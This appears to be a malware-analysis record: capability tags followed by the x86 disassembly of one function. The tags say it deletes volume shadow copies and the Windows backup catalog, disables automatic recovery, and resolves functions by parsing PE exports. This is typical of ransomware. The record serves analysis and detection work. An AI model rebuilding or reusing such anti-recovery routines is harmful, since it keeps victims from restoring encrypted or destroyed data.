Function at 0x530840
Capabilities:
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
lea eax, [esp - 0x54]
cmp eax, dword [ecx + 8]
jbe 0x530e00
sub esp, 0xd4
mov eax, dword [esp + 0xd8]
test eax, eax
je 0x53086f
xor eax, eax
jmp 0x53087d
add esp, 0xd4
ret
mov ecx, dword [esp + 0x48]
lea eax, [ecx + 1]
mov ecx, dword [esp + 0xdc]
cmp ecx, eax
jle 0x530964
mov dword [esp + 0x48], eax
mov ecx, dword [esp + 0xd8]
lea edx, [ecx + eax*8]
mov ebx, dword [edx]
mov dword [esp + 0x74], ebx
mov edx, dword [edx + 4]
mov dword [esp + 0x38], edx
mov dword [esp], 0
lea ebp, [0x5626a6]
mov dword [esp + 4], ebp
mov dword [esp + 8], 0x1a
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], edx
call fcn.0044cea0
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
movzx edx, byte [0x63c1c1]
test dl, dl
je 0x530939
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], 0
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00408be0
mov eax, dword [esp + 8]
lea ecx, [0x5474c0]
mov dword [esp + 0x84], ecx
mov dword [esp + 0x88], eax
lea eax, [esp + 0x84]
mov dword [esp], eax
mov dword [esp + 4], 1
mov dword [esp + 8], 1
call fcn.004b5fe0
mov eax, dword [esp + 0x74]
mov dword [esp], eax
mov ecx, dword [esp + 0x38]
mov dword [esp + 4], ecx
call fcn.005302d0
mov eax, dword [esp + 8]
mov dword [esp + 0x80], eax
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x44], ecx
xor edx, edx
jmp 0x53097d
add esp, 0xd4
ret
mov ebx, dword [esp + 0x40]
lea edx, [ebx + 1]
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0x80]
cmp edx, ecx
jge 0x530876
mov dword [esp + 0x40], edx
lea ebx, [eax + edx*8]
mov ebp, dword [ebx]
mov dword [esp + 0x70], ebp
mov ebx, dword [ebx + 4]
mov dword [esp + 0x30], ebx
lea edi, [esp + 0x8c]
mov esi, eax
xor eax, eax
call fcn.0045f67a
lea ecx, [0x55c694]
mov dword [esp + 0x8c], ecx
mov dword [esp + 0x90], 4
lea ecx, [0x55c2e5]
mov dword [esp + 0x94], ecx
mov dword [esp + 0x98], 2
lea ecx, [0x55ca64]
mov dword [esp + 0x9c], ecx
mov dword [esp + 0xa0], 6
xor edi, edi
jmp 0x530ae5
mov edx, dword [esp + 0x3c]
cmp edx, 3
mov eax, 0
lea ecx, [0x55ca64]
mov edx, dword [esp + 0x40]
mov ebx, dword [esp + 0x30]
mov ebp, dword [esp + 0x70]
mov esi, dword [esp + 0x80]
jl 0x530a3e
mov edi, esi
mov esi, dword [0x6534d8]
mov dword [esp + 0x7c], esi
mov edx, dword [0x6534dc]
xor eax, eax
mov dword [esp + 0x34], eax
xor eax, eax
jmp 0x530b46
mov dword [esp], 0
lea eax, [0x562c97]
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], ebx
call fcn.0044cea0
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
movzx edx, byte [0x63c1c1]
test dl, dl
je 0x53096b
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], 0
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00408be0
mov eax, dword [esp + 8]
lea ecx, [0x5474c0]
mov dword [esp + 0x84], ecx
mov dword [esp + 0x88], eax
lea eax, [esp + 0x84]
mov dword [esp], eax
mov dword [esp + 4], 1
mov dword [esp + 8], 1
call fcn.004b5fe0
jmp 0x53096b
inc edi
mov edx, dword [esp + 0x40]
mov esi, dword [esp + 0x80]
cmp edi, 3
jge 0x530a1d
lea esi, [esp + edi*8 + 0x8c]
mov edx, dword [esi + 4]
mov esi, dword [esi]
cmp edx, ebx
jne 0x530ad9
mov dword [esp + 0x3c], edi
mov dword [esp], esi
mov dword [esp + 4], ebp
mov dword [esp + 8], edx
call fcn.00402340
movzx eax, byte [esp + 0xc]
test al, al
jne 0x5309f8
xor eax, eax
lea ecx, [0x55ca64]
mov ebx, dword [esp + 0x30]
mov ebp, dword [esp + 0x70]
mov edi, dword [esp + 0x3c]
jmp 0x530ad9
inc ebx
mov esi, dword [esp + 0x7c]
mov ebp, dword [esp + 0x70]
mov dword [esp + 0x34], ebx
mov ebx, dword [esp + 0x30]
mov ebx, dword [esp + 0x34]
cmp ebx, edx
jge 0x530bc0
lea ebp, [esi + ebx*8]
mov dword [esp + 0x78], ebp
mov esi, dword [ebp]
mov ebp, dword [ebp + 4]
cmp ebp, 4
jne 0x530b6c
cmp dword [esi], 0x64657375
je 0x530b35
cmp ebx, edx
jmp 0x530b6e
cmp ebx, edx
jae 0x530df6
mov edx, dword [esp + 0x7c]
lea edx, [edx + ebx*8 + 4]
mov dword [edx], 4
mov edx, dword [0x67e2d0]
test edx, edx
jne 0x530b9a
lea edx, [0x55c7ac]
mov ebx, dword [esp + 0x78]
mov dword [ebx], edx
jmp 0x530bb8
mov edi, dword [esp + 0x78]
lea eax, [0x55c7ac]
call fcn.0045f450
xor eax, eax
lea edx, [0x55c7ac]
mov edi, dword [esp + 0x80]
mov edx, ebp
mov ebp, dword [esp + 0x70]
jmp 0x530bc4
xor edx, edx
xor esi, esi
test edx, edx
je 0x530d78
mov dword [esp + 0x2c], edx
mov dword [esp + 0x6c], esi
lea eax, [esp + 0x4c]
mov dword [esp], eax
lea eax, [0x55c35f]
mov dword [esp + 4], eax
mov dword [esp + 8], 2
mov ecx, dword [esp + 0x74]
mov dword [esp + 0xc], ecx
mov edx, dword [esp + 0x38]
mov dword [esp + 0x10], edx
lea ebx, [0x55c29c]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], ebp
mov esi, dword [esp + 0x30]
mov dword [esp + 0x20], esi
call fcn.0044cfe0
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x6c]
mov dword [esp], edx
mov ebx, dword [esp + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
call fcn.00530710
lea edi, [esp + 0xa4]
xor eax, eax
call fcn.0045f674
lea eax, [0x55ed9c]
mov dword [esp + 0xa4], eax
mov dword [esp + 0xa8], 0xf
mov ecx, dword [esp + 0x74]
mov dword [esp + 0xac], ecx
mov edx, dword [esp + 0x38]
mov dword [esp + 0xb0], edx
lea ebx, [0x55c29c]
mov dword [esp + 0xb4], ebx
mov dword [esp + 0xb8], 1
mov ebp, dword [esp + 0x70]
mov dword [esp + 0xbc], ebp
mov ebp, dword [esp + 0x30]
mov dword [esp + 0xc0], ebp
lea ebp, [0x55c57c]
mov dword [esp + 0xc4], ebp
mov dword [esp + 0xc8], 4
mov esi, dword [esp + 0x6c]
mov dword [esp + 0xcc], esi
mov esi, dword [esp + 0x2c]
mov dword [esp + 0xd0], esi
mov dword [esp], 0
lea esi, [esp + 0xa4]
mov dword [esp + 4], esi
mov dword [esp + 8], 6
mov dword [esp + 0xc], 6
call fcn.0044cc80
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
movzx edx, byte [0x63c1c1]
test dl, dl
je 0x53096b
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], 0
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00408be0
mov eax, dword [esp + 8]
lea ecx, [0x5474c0]
mov dword [esp + 0x84], ecx
mov dword [esp + 0x88], eax
lea eax, [esp + 0x84]
mov dword [esp], eax
mov dword [esp + 4], 1
mov dword [esp + 8], 1
call fcn.004b5fe0
jmp 0x53096b
nop
movzx eax, byte [0x63c1c1]
test al, al
je 0x530876
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], 0
lea eax, [0x565f5a]
mov dword [esp], eax
mov dword [esp + 4], 0x28
call fcn.00408be0
mov eax, dword [esp + 8]
lea ecx, [0x5474c0]
mov dword [esp + 0x84], ecx
mov dword [esp + 0x88], eax
lea eax, [esp + 0x84]
mov dword [esp], eax
mov dword [esp + 4], 1
mov dword [esp + 8], 1
call fcn.004b5fe0
lea ecx, [0x55ca64]
jmp 0x530876
mov eax, ebx
mov ecx, edx
call fcn.0045f4d0
nop
call fcn.0045e080
jmp fcn.00530840